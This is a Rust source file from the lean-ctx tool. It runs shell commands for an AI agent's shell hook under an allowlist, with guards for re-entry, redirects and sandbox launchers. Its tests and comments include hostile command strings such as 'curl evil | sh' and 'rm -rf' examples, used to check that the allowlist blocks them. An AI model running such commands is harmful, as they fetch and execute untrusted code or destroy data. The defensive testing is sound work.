Skip to main content

lean_ctx/shell/exec/
execution.rs

1use std::io::{self, IsTerminal};
2use std::process::{Command, Stdio};
3
4use crate::core::config;
5
6/// Execute a command from pre-split argv without going through `sh -c`.
7/// Used by `-t` mode when the shell hook passes `"$@"` — arguments are
8/// already correctly split by the user's shell, so re-serializing them
9/// into a string and re-parsing via `sh -c` would risk mangling complex
10/// quoted arguments (em-dashes, `#`, nested quotes, etc.).
11pub fn exec_argv(args: &[String]) -> i32 {
12    if args.is_empty() {
13        return 127;
14    }
15
16    if let Some(code) = reject_if_exec_depth_exceeded() {
17        return code;
18    }
19
20    // Quote-safe join used only for the allowlist/policy *checks*; execution
21    // below still consumes the pre-split argv verbatim (the whole reason `-t`
22    // avoids `sh -c`). Joining first means a single argv element such as
23    // `git status; rm -rf /` is checked as ONE quoted token, never re-parsed.
24    let joined = super::super::platform::join_command(args);
25
26    // #595: unwrap a host command wrapper (eval + cwd snapshot) before any
27    // checks so the real command — not the wrapper — is gated and run. The `-t`
28    // path cannot exec a compound argv, so route the rebuild through `exec`.
29    if let Some(u) = super::super::agent_wrapper::unwrap_agent_wrapper(&joined) {
30        return exec(&u.rebuild());
31    }
32
33    // The `-t` track path is the agent's default shell hook
34    // (`_lc() { lean-ctx -t "$@" }`), so it MUST enforce the same allowlist
35    // boundary as `-c` (see `exec`). Previously it skipped the check entirely,
36    // letting every aliased multi-arg invocation (`_lc git …`) bypass the
37    // restriction that `lean-ctx -c` enforces (GH security audit, finding 1).
38    if let Some(code) = allowlist_gate(&joined) {
39        return code;
40    }
41
42    if super::super::reentry::should_pass_through() {
43        return exec_direct(args);
44    }
45
46    let cfg = config::Config::load();
47    let policy = super::super::output_policy::classify(&joined, &cfg.excluded_commands);
48
49    if policy.is_protected() {
50        let code = exec_direct(args);
51        crate::core::tool_lifecycle::record_shell_command(0, 0);
52        return code;
53    }
54
55    let code = exec_direct(args);
56    crate::core::tool_lifecycle::record_shell_command(0, 0);
57    code
58}
59
60/// Refuses to spawn another shell once nesting has gone past
61/// [`super::super::reentry::MAX_EXEC_DEPTH`] — the last line of defense
62/// against a runaway self-recursion loop (a shell hook re-firing inside a
63/// shell lean-ctx itself spawned, see `reentry::stamp_exec_depth`) that would
64/// otherwise fork-bomb the host.
65///
66/// Returns exit code 126, the same "not allowed" signal the shell-hook
67/// wrappers already treat as "fall back to `command "$@"`" — so exceeding the
68/// ceiling doesn't just stop lean-ctx, it makes the surrounding shell function
69/// run the real command directly, which is what actually breaks the loop.
70fn reject_if_exec_depth_exceeded() -> Option<i32> {
71    if !super::super::reentry::exec_depth_exceeded() {
72        return None;
73    }
74    eprintln!(
75        "lean-ctx: refusing to nest further (depth >= {}) — a shell hook is re-firing inside a \
76         command lean-ctx already spawned. Running the command raw instead of risking a \
77         runaway process loop. If this persists, check for a duplicate/competing shell \
78         integration that also wraps commands through lean-ctx.",
79        super::super::reentry::MAX_EXEC_DEPTH
80    );
81    Some(126)
82}
83
84fn exec_direct(args: &[String]) -> i32 {
85    let mut cmd = Command::new(&args[0]);
86    cmd.args(&args[1..])
87        .stdin(Stdio::inherit())
88        .stdout(Stdio::inherit())
89        .stderr(Stdio::inherit());
90    super::super::reentry::mark_child(&mut cmd);
91    super::super::platform::apply_utf8_locale(&mut cmd);
92    let status = cmd.status();
93
94    match status {
95        Ok(s) => s.code().unwrap_or(1),
96        Err(e) => {
97            tracing::error!("lean-ctx: failed to execute: {e}");
98            127
99        }
100    }
101}
102
103/// Decides whether an allowlist violation on the CLI path blocks (exit 126) or
104/// only warns.
105///
106/// Enforced when:
107/// - hook-child mode (`LEAN_CTX_HOOK_CHILD`): lean-ctx is the agent's
108///   command-interception channel and must not be weaker than the MCP path, or
109/// - stderr is not a TTY: a non-interactive caller is an agent or script, and
110///   agent-driven `lean-ctx -c` must enforce the same boundary as ctx_shell.
111///
112/// Warn-only when a human runs `lean-ctx -c` at an interactive terminal (they
113/// can run the command without lean-ctx anyway, so blocking adds friction, not
114/// a boundary) or when `LEAN_CTX_ALLOWLIST_WARN_ONLY=1` explicitly opts out.
115fn allowlist_must_enforce() -> bool {
116    let hook_child = crate::core::runtime_flags::hook_child_enabled();
117    let warn_only = std::env::var("LEAN_CTX_ALLOWLIST_WARN_ONLY")
118        .is_ok_and(|v| v == "1" || v.eq_ignore_ascii_case("true"));
119    allowlist_must_enforce_inner(hook_child, warn_only, io::stderr().is_terminal())
120}
121
122/// Pure decision core of [`allowlist_must_enforce`] (unit-testable without
123/// process-global env/TTY state).
124fn allowlist_must_enforce_inner(hook_child: bool, warn_only: bool, stderr_is_tty: bool) -> bool {
125    if hook_child {
126        return true;
127    }
128    if warn_only {
129        return false;
130    }
131    !stderr_is_tty
132}
133
134/// True when this process's stdout is a **regular file** — i.e. the caller
135/// redirected output to a file (`cmd > out`, `cmd >> out`).
136///
137/// Output captured to a file is consumed as *data*, so it must stay byte-faithful:
138/// compression would silently drop/abbreviate lines and corrupt the file
139/// (e.g. `git status --short > files.txt` losing entries). Pipes (agent capture)
140/// and TTYs are NOT regular files and return `false`, so they keep their normal
141/// behavior — this only ever *adds* a verbatim guarantee, never removes one.
142///
143/// Uses only `std`: it wraps the existing stdout descriptor in a `ManuallyDrop`
144/// `File` purely to read its metadata (`fstat` on Unix, `GetFileInformation` on
145/// Windows) without ever closing the real stdout.
146fn stdout_is_regular_file() -> bool {
147    #[cfg(unix)]
148    {
149        use std::os::unix::io::{AsRawFd, FromRawFd};
150        let fd = io::stdout().as_raw_fd();
151        // SAFETY: fd 1 stays valid for the whole process. `ManuallyDrop` prevents
152        // the wrapper's `Drop` from closing stdout; we only read metadata.
153        let file = std::mem::ManuallyDrop::new(unsafe { std::fs::File::from_raw_fd(fd) });
154        file.metadata().is_ok_and(|m| m.is_file())
155    }
156    #[cfg(windows)]
157    {
158        use std::os::windows::io::{AsRawHandle, FromRawHandle};
159        let handle = io::stdout().as_raw_handle();
160        // SAFETY: the stdout handle stays valid for the whole process.
161        // `ManuallyDrop` prevents the wrapper's `Drop` from closing it.
162        let file = std::mem::ManuallyDrop::new(unsafe { std::fs::File::from_raw_handle(handle) });
163        file.metadata().is_ok_and(|m| m.is_file())
164    }
165    #[cfg(not(any(unix, windows)))]
166    {
167        false
168    }
169}
170
171/// Quote-aware check for stdout file redirects (`>`, `>>`) inside a command
172/// string. Returns `true` when the command redirects to a real file (not
173/// `/dev/null`, not `>&N` fd-duplication, not `2>`).
174fn command_has_file_redirect(cmd: &str) -> bool {
175    let bytes = cmd.as_bytes();
176    let len = bytes.len();
177    let mut i = 0;
178    let mut in_single_quote = false;
179    let mut in_double_quote = false;
180
181    while i < len {
182        let c = bytes[i];
183        if c == b'\\' && !in_single_quote {
184            i += 2;
185            continue;
186        }
187        if c == b'\'' && !in_double_quote {
188            in_single_quote = !in_single_quote;
189        } else if c == b'"' && !in_single_quote {
190            in_double_quote = !in_double_quote;
191        } else if c == b'>' && !in_single_quote && !in_double_quote {
192            if i > 0 && bytes[i - 1] == b'2' {
193                i += 1;
194                continue;
195            }
196            let target_start = if i + 1 < len && bytes[i + 1] == b'>' {
197                i + 2
198            } else {
199                i + 1
200            };
201            let target: String = cmd[target_start..]
202                .trim_start()
203                .chars()
204                .take_while(|c| !c.is_whitespace())
205                .collect();
206            if target == "/dev/null" || target == "/dev/stdout" || target == "/dev/stderr" {
207                i += 1;
208                continue;
209            }
210            if let Some(fd) = target.strip_prefix('&')
211                && !fd.is_empty()
212                && (fd == "-" || fd.chars().all(|c| c.is_ascii_digit()))
213            {
214                i += 1;
215                continue;
216            }
217            if !target.is_empty() {
218                return true;
219            }
220        }
221        i += 1;
222    }
223    false
224}
225
226/// Shared allowlist gate for the CLI shell entrypoints — `-c` (via [`exec`]) and
227/// `-t` (via [`exec_argv`]). Both must apply the SAME boundary so the track path
228/// (the default shell hook) cannot be weaker than the compress path.
229///
230/// Returns `Some(126)` when the command is blocked and the caller must return
231/// that exit code; `None` when execution may proceed (allowed, or warn-only for
232/// an interactive human — see [`allowlist_must_enforce`]).
233fn allowlist_gate(command: &str) -> Option<i32> {
234    if let Err(msg) = crate::core::shell_allowlist::check_shell_allowlist(command) {
235        if allowlist_must_enforce() {
236            eprintln!("{msg}");
237            eprintln!(
238                "lean-ctx: command blocked by shell allowlist. \
239                 Allow it permanently: lean-ctx allow <cmd> — or set \
240                 LEAN_CTX_ALLOWLIST_WARN_ONLY=1 to downgrade to a warning."
241            );
242            return Some(126);
243        }
244        // Diagnostic, not user feedback: an interactive human at a TTY can run
245        // the command without lean-ctx anyway, and surfacing a WARN in their
246        // plain terminal is exactly the confusion GH #699 reported. Keep the
247        // warning for non-TTY callers (agents that opted into warn-only).
248        if io::stderr().is_terminal() {
249            tracing::debug!("[CLI] Command would be blocked in MCP mode: {msg}");
250        } else {
251            tracing::warn!("[CLI] Command would be blocked in MCP mode: {msg}");
252        }
253    }
254    None
255}
256
257pub fn exec(command: &str) -> i32 {
258    if let Some(code) = reject_if_exec_depth_exceeded() {
259        return code;
260    }
261
262    // #1834 (Path C): the host's OS-sandbox launcher (`env … sandbox-exec …
263    // /bin/zsh -c '<Path B>'`, Claude Code `sandbox.enabled`). Unwrapping it
264    // would run the real command outside the sandbox, and gating the launcher
265    // as a whole hard-blocks every call on the inner `eval`. Gate the script
266    // inside it here — exactly as Path A/B would — then run the launcher
267    // verbatim. This gate is the one that counts: the inner shell may be bash,
268    // which never reads `.zshenv`, so its re-entry is only for compression.
269    // See `agent_wrapper::os_sandbox_launcher_argv`.
270    if let Some(argv) = super::super::agent_wrapper::os_sandbox_launcher_argv(command) {
271        if let Some(code) = allowlist_gate(&sandbox_launcher_gated_command(&argv)) {
272            return code;
273        }
274        return exec_sandbox_launcher(&argv);
275    }
276
277    // #595: when the agent wraps its command in host scaffolding
278    // (`… && eval '<cmd>' … && pwd -P >| …-cwd`), look through it so the allowlist
279    // and compression act on the REAL command, not the wrapper — whose `eval` the
280    // allowlist would otherwise hard-block on every single call. The cwd snapshot
281    // is preserved so the host keeps tracking the working directory.
282    let unwrapped = super::super::agent_wrapper::unwrap_agent_wrapper(command).map(|u| u.rebuild());
283    let mut collapsed_nested = false;
284    let collapsed;
285    let command = unwrapped.as_deref().unwrap_or(command);
286    let command = if let Some(c) = collapse_nested_lean_ctx_exec(command) {
287        collapsed_nested = true;
288        collapsed = c;
289        collapsed.as_str()
290    } else {
291        command
292    };
293
294    if let Some(code) = allowlist_gate(command) {
295        return code;
296    }
297
298    let (shell, shell_flag) = super::super::platform::shell_and_flag();
299    let command = crate::tools::ctx_shell::normalize_command_for_shell(command);
300    // #1286: keep the zsh preamble (`setopt nonomatch noequals; `) OUT of the
301    // command string used for classification and compression — every
302    // `starts_with("ls ")`/`git`-style pattern matcher silently stopped
303    // matching under zsh (the default macOS shell), degrading pattern
304    // compression to the generic terse fallback. The preamble is applied to
305    // the SPAWNED command only, inside the exec helpers.
306    let command = command.as_str();
307
308    if super::super::reentry::is_disabled() {
309        return exec_inherit(command, &shell, &shell_flag);
310    }
311    if should_delegate_wrapped_to_shell_default(collapsed_nested) {
312        return exec_shell_default(command, &shell, &shell_flag);
313    }
314
315    let cfg = config::Config::load();
316    let force_compress = crate::core::runtime_flags::compress_enabled();
317    let raw_mode = crate::core::runtime_flags::raw_enabled();
318
319    if raw_mode {
320        return exec_inherit_tracked(command, &shell, &shell_flag);
321    }
322
323    let policy = super::super::output_policy::classify(command, &cfg.excluded_commands);
324
325    // Passthrough: ALWAYS bypass compression, even with force_compress.
326    if policy == super::super::output_policy::OutputPolicy::Passthrough {
327        return exec_inherit_tracked(command, &shell, &shell_flag);
328    }
329
330    // Verbatim: bypass compression unless force_compress is set,
331    // in which case use buffered path (compress_if_beneficial will
332    // respect the verbatim classification and only size-cap).
333    if policy == super::super::output_policy::OutputPolicy::Verbatim && !force_compress {
334        return exec_inherit_tracked(command, &shell, &shell_flag);
335    }
336
337    if !force_compress {
338        if io::stdout().is_terminal() {
339            return exec_inherit_tracked(command, &shell, &shell_flag);
340        }
341        let code = exec_inherit(command, &shell, &shell_flag);
342        crate::core::tool_lifecycle::record_shell_command(0, 0);
343        return code;
344    }
345
346    // Compression is forced (`-c` / LEAN_CTX_COMPRESS, e.g. the agent shell hook).
347    // It must STILL never alter bytes destined for a file: a redirect
348    // (`cmd > out`, `cmd >> out`) means the output is captured as data, not read by
349    // a human or agent. Writing the compressed digest there would silently
350    // drop/abbreviate lines and corrupt the file (e.g. contradictory `git diff`
351    // dumps). Pass redirected-to-file output through verbatim; pipes (agent
352    // capture) and TTYs keep compressing. This is the single choke point, so it
353    // holds for every caller (hook, direct CLI, Pi/MCP bridges).
354    if stdout_is_regular_file() {
355        return exec_inherit_tracked(command, &shell, &shell_flag);
356    }
357
358    // Also bypass compression when the redirect is INSIDE the command string
359    // (e.g., `lean-ctx -c 'git show HEAD:f > out.md'`). In this case lean-ctx's
360    // own stdout is a pipe (to the agent), but the shell child redirects its
361    // stdout to the file. exec_buffered would capture empty/minimal output while
362    // the file gets correct data — but the overhead is wasted and the compressed
363    // empty output confuses agents. Let sh handle it natively. (#1303)
364    if command_has_file_redirect(command) {
365        return exec_inherit_tracked(command, &shell, &shell_flag);
366    }
367
368    super::super::pipeline::exec_buffered(command, &shell, &shell_flag, &cfg)
369}
370
371fn collapse_nested_lean_ctx_exec(command: &str) -> Option<String> {
372    let mut current = command.trim().to_string();
373    let mut changed = false;
374
375    while let Some(next) = strip_one_lean_ctx_exec(&current) {
376        if next == current {
377            break;
378        }
379        current = next;
380        changed = true;
381    }
382
383    changed.then_some(current)
384}
385
386fn should_delegate_wrapped_to_shell_default(collapsed_nested: bool) -> bool {
387    // After collapsing `lean-ctx -c "lean-ctx -c ..."` the current process is the
388    // one compression pass that would otherwise be owned by the shell default.
389    // Delegating again would drop back to raw execution or re-enter the hook.
390    super::super::reentry::is_wrapped() && !collapsed_nested
391}
392
393fn strip_one_lean_ctx_exec(command: &str) -> Option<String> {
394    let words = split_simple_shell_words(command)?;
395    if words.len() < 3 || !is_lean_ctx_bin(&words[0].value) {
396        return None;
397    }
398    if words[1].value != "-c" && words[1].value != "exec" {
399        return None;
400    }
401    if words[2..].iter().any(|w| {
402        matches!(
403            w.value.as_str(),
404            "|" | "||" | "&" | "&&" | ";" | "<" | ">" | ">>"
405        )
406    }) {
407        return None;
408    }
409    if words.len() == 3 {
410        Some(words[2].value.trim().to_string())
411    } else {
412        Some(command[words[2].start..].trim().to_string())
413    }
414}
415
416fn is_lean_ctx_bin(word: &str) -> bool {
417    std::path::Path::new(word)
418        .file_name()
419        .and_then(|name| name.to_str())
420        .is_some_and(|name| name == "lean-ctx" || name == "lean-ctx.exe")
421}
422
423struct SimpleShellWord {
424    value: String,
425    start: usize,
426}
427
428fn split_simple_shell_words(command: &str) -> Option<Vec<SimpleShellWord>> {
429    let mut words = Vec::new();
430    let mut current = String::new();
431    let mut current_start: Option<usize> = None;
432    let mut chars = command.char_indices().peekable();
433    let mut quote: Option<char> = None;
434
435    while let Some((idx, ch)) = chars.next() {
436        match quote {
437            Some('\'') if ch == '\'' => quote = None,
438            Some('"') if ch == '"' => quote = None,
439            None if ch == '\'' || ch == '"' => {
440                current_start.get_or_insert(idx);
441                quote = Some(ch);
442            }
443            Some('"') | None if ch == '\\' => {
444                current_start.get_or_insert(idx);
445                if let Some((_, next)) = chars.next() {
446                    current.push(next);
447                }
448            }
449            None if ch.is_whitespace() => {
450                if let Some(start) = current_start.take() {
451                    words.push(SimpleShellWord {
452                        value: std::mem::take(&mut current),
453                        start,
454                    });
455                }
456            }
457            Some(_) | None => {
458                current_start.get_or_insert(idx);
459                current.push(ch);
460            }
461        }
462    }
463
464    if quote.is_some() {
465        return None;
466    }
467    if let Some(start) = current_start {
468        words.push(SimpleShellWord {
469            value: current,
470            start,
471        });
472    }
473    (!words.is_empty()).then_some(words)
474}
475
476/// What the allowlist sees for a sandbox launcher: the script it runs, looked
477/// through the host scaffolding the same way [`exec`] does for Path A/B. A
478/// script that is not host scaffolding is gated whole — its `eval` then blocks
479/// exactly as it would without the sandbox.
480fn sandbox_launcher_gated_command(argv: &[String]) -> String {
481    let script = argv.last().map_or("", String::as_str);
482    super::super::agent_wrapper::unwrap_agent_wrapper(script)
483        .map_or_else(|| script.to_string(), |u| u.rebuild())
484}
485
486/// Spawn an OS-sandbox launcher argv as-is (Path C), without a shell in
487/// between: a `zsh -c` hop here would re-read `.zshenv` with the same launcher
488/// string and loop back into lean-ctx. The caller has already gated the
489/// script. The re-entry guard the hook exported (`LEAN_CTX_ACTIVE`) and the
490/// ownership marker are cleared so a zsh the launcher starts *inside* the
491/// sandbox re-enters the hook for compression; the depth stamp still bounds
492/// runaway nesting.
493fn exec_sandbox_launcher(argv: &[String]) -> i32 {
494    match sandbox_launcher_command(argv).status() {
495        Ok(s) => s.code().unwrap_or(1),
496        Err(e) => {
497            tracing::error!("lean-ctx: failed to execute sandbox launcher: {e}");
498            127
499        }
500    }
501}
502
503fn sandbox_launcher_command(argv: &[String]) -> Command {
504    let mut cmd = Command::new(&argv[0]);
505    cmd.args(&argv[1..])
506        .stdin(Stdio::inherit())
507        .stdout(Stdio::inherit())
508        .stderr(Stdio::inherit());
509    super::super::reentry::clear_shell_default_markers(&mut cmd);
510    super::super::reentry::stamp_exec_depth(&mut cmd);
511    super::super::platform::apply_utf8_locale(&mut cmd);
512    cmd
513}
514
515fn exec_inherit(command: &str, shell: &str, shell_flag: &str) -> i32 {
516    // #1286: the zsh preamble is applied at spawn time only, so `command`
517    // stays clean for classification/compression upstream.
518    let spawn_command = super::super::platform::zsh_safe_command(command, shell);
519    let mut cmd = Command::new(shell);
520    cmd.arg(shell_flag)
521        .arg(&spawn_command)
522        .stdin(Stdio::inherit())
523        .stdout(Stdio::inherit())
524        .stderr(Stdio::inherit());
525    super::super::reentry::mark_child(&mut cmd);
526    super::super::platform::apply_utf8_locale(&mut cmd);
527    super::super::platform::apply_profile_free_env(&mut cmd);
528    let status = cmd.status();
529
530    match status {
531        Ok(s) => s.code().unwrap_or(1),
532        Err(e) => {
533            tracing::error!("lean-ctx: failed to execute: {e}");
534            127
535        }
536    }
537}
538
539fn exec_shell_default(command: &str, shell: &str, shell_flag: &str) -> i32 {
540    let spawn_command = super::super::platform::zsh_safe_command(command, shell);
541    let mut cmd = Command::new(shell);
542    cmd.arg(shell_flag)
543        .arg(&spawn_command)
544        .stdin(Stdio::inherit())
545        .stdout(Stdio::inherit())
546        .stderr(Stdio::inherit());
547    super::super::reentry::clear_shell_default_markers(&mut cmd);
548    super::super::reentry::stamp_exec_depth(&mut cmd);
549    super::super::platform::apply_utf8_locale(&mut cmd);
550    super::super::platform::apply_profile_free_env(&mut cmd);
551    let status = cmd.status();
552
553    match status {
554        Ok(s) => s.code().unwrap_or(1),
555        Err(e) => {
556            eprintln!("lean-ctx: failed to execute '{command}': {e}");
557            127
558        }
559    }
560}
561
562fn exec_inherit_tracked(command: &str, shell: &str, shell_flag: &str) -> i32 {
563    let code = exec_inherit(command, shell, shell_flag);
564    crate::core::tool_lifecycle::record_shell_command(0, 0);
565    code
566}
567
568/// Label inserted between stdout and stderr of a FAILED command so the agent can
569/// attribute the error to the right stream instead of guessing — and never has to
570/// re-run the command raw just to locate the failure. See #809 / #812.
571pub(crate) const STDERR_LABEL: &str = "--- stderr ---";
572
573/// Join captured stdout and stderr for display/recovery. On failure (non-zero
574/// exit) with both streams present, a labeled delimiter separates them; success
575/// output keeps the plain `stdout\nstderr` shape (determinism, #498).
576pub(crate) fn combine_streams(stdout: &str, stderr: &str, exit_code: i32) -> String {
577    match (stdout.is_empty(), stderr.is_empty()) {
578        (_, true) => stdout.to_string(),
579        (true, false) => stderr.to_string(),
580        (false, false) if exit_code != 0 => format!("{stdout}\n{STDERR_LABEL}\n{stderr}"),
581        (false, false) => format!("{stdout}\n{stderr}"),
582    }
583}
584
585// Buffered command execution and output transformation live in `pipeline`.
586
587#[cfg(test)]
588mod nested_lean_ctx_exec_tests;
589
590#[cfg(test)]
591mod exec_tests {
592    #[test]
593    fn combine_streams_labels_stderr_on_failure() {
594        let out = super::combine_streams("build ok", "linker: undefined symbol", 1);
595        assert_eq!(
596            out,
597            format!(
598                "build ok\n{}\nlinker: undefined symbol",
599                super::STDERR_LABEL
600            )
601        );
602    }
603
604    #[test]
605    fn combine_streams_plain_join_on_success() {
606        let out = super::combine_streams("step 1", "warning: noop", 0);
607        assert_eq!(out, "step 1\nwarning: noop");
608        assert!(!out.contains(super::STDERR_LABEL));
609    }
610
611    #[test]
612    fn combine_streams_single_stream_is_unchanged() {
613        assert_eq!(super::combine_streams("only stdout", "", 1), "only stdout");
614        assert_eq!(super::combine_streams("", "only stderr", 1), "only stderr");
615    }
616
617    #[test]
618    fn exec_direct_runs_true() {
619        let code = super::exec_direct(&["true".to_string()]);
620        assert_eq!(code, 0);
621    }
622
623    #[test]
624    fn exec_direct_runs_false() {
625        let code = super::exec_direct(&["false".to_string()]);
626        assert_ne!(code, 0);
627    }
628
629    #[test]
630    fn exec_direct_preserves_args_with_special_chars() {
631        let code = super::exec_direct(&[
632            "echo".to_string(),
633            "hello world".to_string(),
634            "it's here".to_string(),
635            "a \"quoted\" thing".to_string(),
636        ]);
637        assert_eq!(code, 0);
638    }
639
640    #[test]
641    fn exec_direct_nonexistent_returns_127() {
642        let code = super::exec_direct(&["__nonexistent_binary_12345__".to_string()]);
643        assert_eq!(code, 127);
644    }
645
646    #[test]
647    fn exec_argv_empty_returns_127() {
648        let code = super::exec_argv(&[]);
649        assert_eq!(code, 127);
650    }
651
652    #[test]
653    fn exec_argv_runs_simple_command() {
654        let _lock = crate::core::data_dir::test_env_lock();
655        crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
656        crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
657        let code = super::exec_argv(&["true".to_string()]);
658        assert_eq!(code, 0);
659    }
660
661    #[test]
662    fn exec_argv_passes_through_when_disabled() {
663        let _lock = crate::core::data_dir::test_env_lock();
664        crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
665        crate::test_env::set_var("LEAN_CTX_DISABLED", "1");
666        let code = super::exec_argv(&["true".to_string()]);
667        crate::test_env::remove_var("LEAN_CTX_DISABLED");
668        assert_eq!(code, 0);
669    }
670
671    // Finding 1 (GH security audit): the `-t` track path is the default shell
672    // hook, so it must enforce the allowlist exactly like the `-c` path. A
673    // non-allowlisted command must be blocked (126), not executed.
674    #[test]
675    fn exec_argv_enforces_allowlist_for_disallowed_command() {
676        let _lock = crate::core::data_dir::test_env_lock();
677        crate::test_env::remove_var("LEAN_CTX_ACTIVE");
678        crate::test_env::remove_var("LEAN_CTX_DISABLED");
679        crate::test_env::remove_var("LEAN_CTX_ALLOWLIST_WARN_ONLY");
680        // hook-child forces enforcement regardless of the test runner's TTY state.
681        crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
682        crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "git");
683
684        // #1022: `true` is now a SHELL_BUILTIN (bypasses allowlist).
685        // Use `xxd` which is a real binary and not in the override list.
686        let code = super::exec_argv(&["xxd".to_string()]);
687
688        crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
689        crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
690
691        assert_eq!(
692            code, 126,
693            "non-allowlisted command must be blocked on the -t track path"
694        );
695    }
696
697    #[test]
698    fn exec_argv_allows_allowlisted_command() {
699        let _lock = crate::core::data_dir::test_env_lock();
700        crate::test_env::remove_var("LEAN_CTX_ACTIVE");
701        crate::test_env::remove_var("LEAN_CTX_DISABLED");
702        crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
703        crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "true");
704
705        let code = super::exec_argv(&["true".to_string()]);
706
707        crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
708        crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
709
710        assert_eq!(code, 0, "allowlisted command must run on the -t track path");
711    }
712    // P0-1 (#413): the CLI allowlist must enforce for agents, warn for humans.
713    #[test]
714    fn allowlist_enforces_in_hook_child_mode() {
715        // Hook-child wins over everything, even an interactive TTY.
716        assert!(super::allowlist_must_enforce_inner(true, false, true));
717        assert!(super::allowlist_must_enforce_inner(true, true, true));
718    }
719
720    #[test]
721    fn allowlist_enforces_for_non_interactive_callers() {
722        // Agent/script invocation: stderr is a pipe → enforce.
723        assert!(super::allowlist_must_enforce_inner(false, false, false));
724    }
725
726    #[test]
727    fn allowlist_warns_for_interactive_humans() {
728        // Human at a TTY → warn-only (they can bypass lean-ctx anyway).
729        assert!(!super::allowlist_must_enforce_inner(false, false, true));
730    }
731
732    #[test]
733    fn allowlist_warn_only_opt_out_downgrades_non_interactive() {
734        // Explicit LEAN_CTX_ALLOWLIST_WARN_ONLY=1 opt-out (but never in hook-child mode).
735        assert!(!super::allowlist_must_enforce_inner(false, true, false));
736        assert!(super::allowlist_must_enforce_inner(true, true, false));
737    }
738
739    // --- #1303: command_has_file_redirect ---
740
741    #[test]
742    fn redirect_to_file_detected() {
743        assert!(super::command_has_file_redirect("git show HEAD:f > out.md"));
744        assert!(super::command_has_file_redirect("git diff >> changes.log"));
745        assert!(super::command_has_file_redirect(
746            "git status > /tmp/status.txt"
747        ));
748    }
749
750    #[test]
751    fn no_redirect_not_detected() {
752        assert!(!super::command_has_file_redirect("git status"));
753        assert!(!super::command_has_file_redirect("cargo test --lib"));
754    }
755
756    #[test]
757    fn dev_null_not_detected_as_redirect() {
758        assert!(!super::command_has_file_redirect("cargo test > /dev/null"));
759        assert!(!super::command_has_file_redirect("cmd > /dev/stdout"));
760        assert!(!super::command_has_file_redirect("cmd > /dev/stderr"));
761    }
762
763    #[test]
764    fn stderr_redirect_not_detected() {
765        assert!(!super::command_has_file_redirect(
766            "cargo test 2> errors.log"
767        ));
768        assert!(!super::command_has_file_redirect("cargo test 2>/dev/null"));
769    }
770
771    #[test]
772    fn fd_dup_not_detected() {
773        assert!(!super::command_has_file_redirect("cargo test 2>&1"));
774        assert!(!super::command_has_file_redirect("cmd >&2"));
775    }
776
777    #[test]
778    fn quoted_redirect_not_detected() {
779        assert!(!super::command_has_file_redirect("echo 'a > b'"));
780        assert!(!super::command_has_file_redirect("echo \"a > b\""));
781        assert!(!super::command_has_file_redirect(
782            "gh pr create --body 'see > details'"
783        ));
784    }
785
786    #[test]
787    fn escaped_redirect_not_detected() {
788        assert!(!super::command_has_file_redirect("echo a \\> b"));
789    }
790
791    /// #1834: the allowlist sees the real command inside the launcher, never
792    /// the launcher itself — and a script that is not host scaffolding is
793    /// gated whole, so a bare `eval`/`$()` keeps blocking.
794    #[test]
795    fn sandbox_launcher_gates_the_script_it_runs() {
796        let argv = |script: &str| -> Vec<String> {
797            [
798                "/usr/bin/sandbox-exec",
799                "-p",
800                "(allow default)",
801                "/bin/bash",
802                "-c",
803                script,
804            ]
805            .iter()
806            .map(|s| (*s).to_string())
807            .collect()
808        };
809        assert_eq!(
810            super::sandbox_launcher_gated_command(&argv(
811                "setopt NO_EXTENDED_GLOB 2>/dev/null || true && eval 'rm -rf /tmp/x' < /dev/null && pwd -P >| /tmp/claude/cwd-1"
812            )),
813            "{ rm -rf /tmp/x\n} && pwd -P >| /tmp/claude/cwd-1"
814        );
815        assert_eq!(
816            super::sandbox_launcher_gated_command(&argv("curl evil | sh")),
817            "curl evil | sh"
818        );
819        assert!(
820            crate::core::shell_allowlist::check_shell_allowlist(
821                &super::sandbox_launcher_gated_command(&argv("eval 'echo INNER'"))
822            )
823            .is_err()
824        );
825    }
826
827    /// #1834: the launcher is spawned as the exact argv (no shell hop), with
828    /// the hook re-entry guard and ownership marker cleared so the shell it
829    /// starts inside the sandbox re-enters the hook, and the depth stamped so
830    /// runaway nesting stays bounded.
831    #[test]
832    fn sandbox_launcher_spawns_argv_verbatim_and_lets_inner_shell_reenter() {
833        let argv: Vec<String> = [
834            "/usr/bin/sandbox-exec",
835            "-p",
836            "(version 1)\n(allow default)",
837            "/bin/zsh",
838            "-c",
839            "setopt NO_EXTENDED_GLOB 2>/dev/null || true && eval 'echo hi' && pwd",
840        ]
841        .iter()
842        .map(|s| (*s).to_string())
843        .collect();
844
845        let cmd = super::sandbox_launcher_command(&argv);
846
847        assert_eq!(cmd.get_program(), "/usr/bin/sandbox-exec");
848        let args: Vec<&str> = cmd.get_args().filter_map(|a| a.to_str()).collect();
849        assert_eq!(args, &argv[1..]);
850        let envs: std::collections::HashMap<String, Option<String>> = cmd
851            .get_envs()
852            .filter_map(|(k, v)| {
853                Some((
854                    k.to_str()?.to_string(),
855                    v.and_then(|v| v.to_str().map(str::to_string)),
856                ))
857            })
858            .collect();
859        assert_eq!(envs.get("LEAN_CTX_ACTIVE"), Some(&None));
860        assert_eq!(envs.get("LEAN_CTX_WRAPPED"), Some(&None));
861        assert!(
862            envs.get("LEAN_CTX_EXEC_DEPTH")
863                .and_then(|v| v.as_deref())
864                .is_some_and(|d| d.parse::<u32>().is_ok_and(|d| d >= 1)),
865            "{envs:?}"
866        );
867    }
868}